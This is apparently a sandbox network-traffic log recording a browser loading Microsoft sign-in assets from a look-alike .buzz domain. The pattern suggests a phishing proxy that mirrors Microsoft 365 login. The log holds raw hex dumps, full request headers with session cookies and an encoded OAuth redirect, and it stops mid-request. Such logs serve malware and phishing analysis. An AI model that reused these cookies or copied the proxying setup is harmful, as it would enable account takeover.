2025-01-14 14:56:22 UTC	2672	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e 69 18 14 00 21 Data Ascii: GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~i!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	50030	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:23 UTC	1930	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:23 UTC	799	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:23 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 12 Feb 2020 22:01:30 GMT ETag: 0x8D7B0071D86E386 x-ms-request-id: 7017a5c9-b01e-0030-0294-664234000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145623Z-15f8c94686454f4fhC1YTObqhc00000006f0000000002wgs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-01-14 14:56:23 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	50028	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:23 UTC	1930	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:23 UTC	741	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:23 GMT Content-Type: image/gif Content-Length: 3620 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373B17F89 x-ms-request-id: da9d54af-f01e-007c-5494-66d204000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145623Z-15d54ff9787g2cckhC1YTOmbyc00000017kg0000000025s0 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-01-14 14:56:23 UTC	3620	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 0f Data Ascii: GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	50034	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:23 UTC	3270	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHF [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:24 UTC	1386	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:24 GMT Content-Type: application/x-javascript content-length: 109863 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 26 Jan 2023 00:32:54 GMT ETag: 0x8DAFF34DD9DC630 x-ms-request-id: 7726b541-c01e-007c-3294-669a16000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145623Z-15d54ff9787w2bwthC1YTOtq780000001b70000000003q7b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2025-01-14 14:56:24 UTC	14998	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6b 7b db c8 91 30 fa 7d 7f 05 c5 93 68 00 13 a4 48 ea 6a 92 10 d7 e3 f1 64 bd c7 63 fb b5 3d d9 37 af cc f8 81 c8 a6 84 31 04 30 b8 d8 56 44 ee 6f 3f 55 d5 77 a0 49 c9 1e 27 9b 73 4e 9e 8c 45 34 1a 7d a9 ae ae ae aa ae cb c1 a3 bd 7f 6b 3d 6a 75 1f fe bf d6 db 77 4f de bc 6b bd fa b9 f5 ee 3f 9e bf f9 a9 f5 1a 9e fe d2 7a f9 ea dd f3 a7 cf 1e de 0e 76 8a ff bd bb 8e 8b d6 32 4e 58 0b fe 5e 46 05 5b b4 b2 b4 95 e5 ad 38 9d 67 f9 2a cb a3 92 15 ad 1b f8 37 8f a3 a4 b5 cc b3 9b 56 79 cd 5a ab 3c fb 8d cd cb a2 95 c4 45 09 1f 5d b2 24 fb dc f2 a0 b9 7c d1 7a 1d e5 e5 6d eb f9 6b bf 07 ed 33 68 2d be 8a 53 f8 7a 9e ad 6e e1 f7 75 d9 4a b3 32 9e b3 56 94 2e a8 b5 04 1e d2 82 b5 aa 74 c1 f2 d6 e7 eb 78 7e dd fa 25 9e e7 59 91 Data Ascii: k{0}hHjdc=710VDo?UwI'sNE4}k=juwOk?zv2NX^F[8g*7VyZ<E]$\|zmk3h-SznuJ2V.tx~%Y
2025-01-14 14:56:24 UTC	1386	IN	Data Raw: ec f3 c8 d9 e7 d9 7a 78 d4 0f a8 77 d9 a9 7b 00 ca 16 4d 63 eb 5f 0c 4c cf 01 a3 b5 83 5d cd d6 d3 73 7a 32 c0 26 c8 e3 9b 29 ff e3 f9 e4 9e 2b 72 16 fc f5 7d d1 59 c3 7f 7f e0 69 0b 36 68 6a 2f 5f fe 44 99 1d ea 3e c1 22 b6 c1 58 6e 0e 32 31 06 09 af 13 b6 c3 b6 19 8a c7 74 f8 fb bb 3e 7d 8c 8b 6d 20 fc 48 83 3d 38 ff ce 43 1d e0 26 33 1c dc e9 ac 2c e9 84 24 af 02 6d 4b b1 f1 8d e4 b3 a9 07 6b ee 63 10 b7 c3 46 10 b7 b2 c7 13 2c fe 12 ad fe c4 83 02 66 3c ae fe 91 ef 78 13 18 d5 9f 66 69 81 a1 ab 29 9e da 99 df 7c a1 2a bf c4 ac a2 18 77 7b e0 1b 25 38 9e a3 2d a9 8c 71 00 c7 3c 68 db 71 5f 04 6d 3b 3e 39 f1 7b b4 ae 6f 59 09 84 06 bb 3d f5 7b d0 e1 0a 08 d8 8b b8 28 6b 61 bc 39 29 c7 a0 ce 44 e6 3f 50 4a dd 0c d3 fd 3e c9 31 50 46 1b 0b da 94 4d 41 56 Data Ascii: zxw{Mc_L]sz2&)+r}Yi6hj/_D>"Xn21t>}m H=8C&3,$mKkcF,f<xfi)\|*w{%8-q<hq_m;>9{oY={(ka9)D?PJ>1PFMAV
2025-01-14 14:56:24 UTC	9510	IN	Data Raw: 23 30 22 75 c1 a1 5b a0 67 5c a3 58 32 27 9a 62 c7 a1 cd 04 4a 6f 34 45 70 03 b3 9f b8 bb 44 67 b9 38 b0 3b 37 09 72 77 d0 9d 93 c7 5d ad 74 cb 27 62 b8 95 4f e1 cc ec 52 35 5a 41 ba 85 ae 58 30 9c 7a a4 44 c9 ad f6 53 1e c9 0b d9 b1 eb 4e c8 a4 8e e4 ba 86 5b 12 3a 6f 2d f6 c5 6d f2 c4 30 68 7d 23 11 e4 9e 9b 3f 92 16 d1 30 7e c9 4a 72 85 b5 29 df 30 5f 1a eb d9 6c 18 53 82 a5 60 c4 f4 88 e1 a4 79 f5 39 95 31 36 4c f7 9f da 08 80 a3 9a ba 59 be 74 46 4c b3 9b cc 37 3d 92 b8 1f ee 9d 10 a3 05 97 29 9e c4 3e 2e 6c de d3 d8 56 b4 50 23 73 d1 f4 3b b9 0b e5 c7 f5 6d ee f9 9b b1 01 46 c9 8c 23 77 85 a0 24 36 cb 28 53 7c 77 93 65 37 c5 fa c6 fb 2d 3c b6 f1 99 42 0b 5e d1 8d 33 ba 76 60 76 87 62 70 1d c2 5b b3 43 d5 28 26 75 c7 17 04 33 de 04 4e c5 54 84 4a a3 Data Ascii: #0"u[g\X2'bJo4EpDg8;7rw]t'bOR5ZAX0zDSN[:o-m0h}#?0~Jr)0_lS`y916LYtFL7=)>.lVP#s;mF#w$6(S\|we7-<B^3v`vbp[C(&u3NTJ
2025-01-14 14:56:24 UTC	6289	IN	Data Raw: cd 3d fb 73 db 36 d2 bf 7f 7f 85 cd 7a 1c 22 82 9f 79 34 21 c3 ea 1c 57 ed b4 13 c7 19 ab b9 cc 8d ac 78 68 99 b2 d9 c8 62 4a 52 76 12 4b f7 b7 df 3e 00 10 20 29 c5 c9 f5 66 be 1f 6c 52 20 9e 8b c5 02 fb c0 2e 05 2d d7 3f 0a ce 04 a9 97 98 f7 e2 02 bd 76 20 51 a7 df 80 eb 09 bf 8c c7 f4 64 d7 ed 4e 1e 4e 3a 98 4c 74 6a 41 c9 c9 75 5a d2 8b 62 c3 9c 32 2a ed 18 aa 77 d2 27 a6 8a a6 1a 75 30 c4 8e aa d8 64 91 cb 00 d7 48 ac 0a 8a a2 33 6b 9d a4 b9 b1 4f 56 31 db a3 db 8b a6 08 cb 43 4f cb f0 ed ea 22 cd ef d7 08 65 5d d2 c4 ec 3a 2e 3e b4 c8 c9 76 49 58 f9 55 a7 91 2b 02 7d d4 d7 fb 20 19 aa f5 1a e2 3b e6 6f f3 9f 87 2a a6 6c 02 67 2d f5 02 db 6e 3e 75 7f 99 e8 27 39 ee 85 4b e3 9d 3c 7f fc 37 45 45 82 dd 97 82 df 3c 7d fe e4 6b e1 3c ed 9d b9 4d 0b de a6 Data Ascii: =s6z"y4!WxhbJRvK> )flR .-?v QdNN:LtjAuZb2w'u0dH3kOV1CO"e]:.>vIXU+} ;olg-n>u'9K<7EE<}k<M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	50035	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:23 UTC	1931	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:24 UTC	807	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:24 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373CB2849 x-ms-request-id: 2e6a48d8-701e-001b-3294-668aea000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145624Z-175dd4d5677pldv7hC1MNZ4q1s0000000k20000000003pgb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2025-01-14 14:56:24 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	50044	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:25 UTC	1946	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; 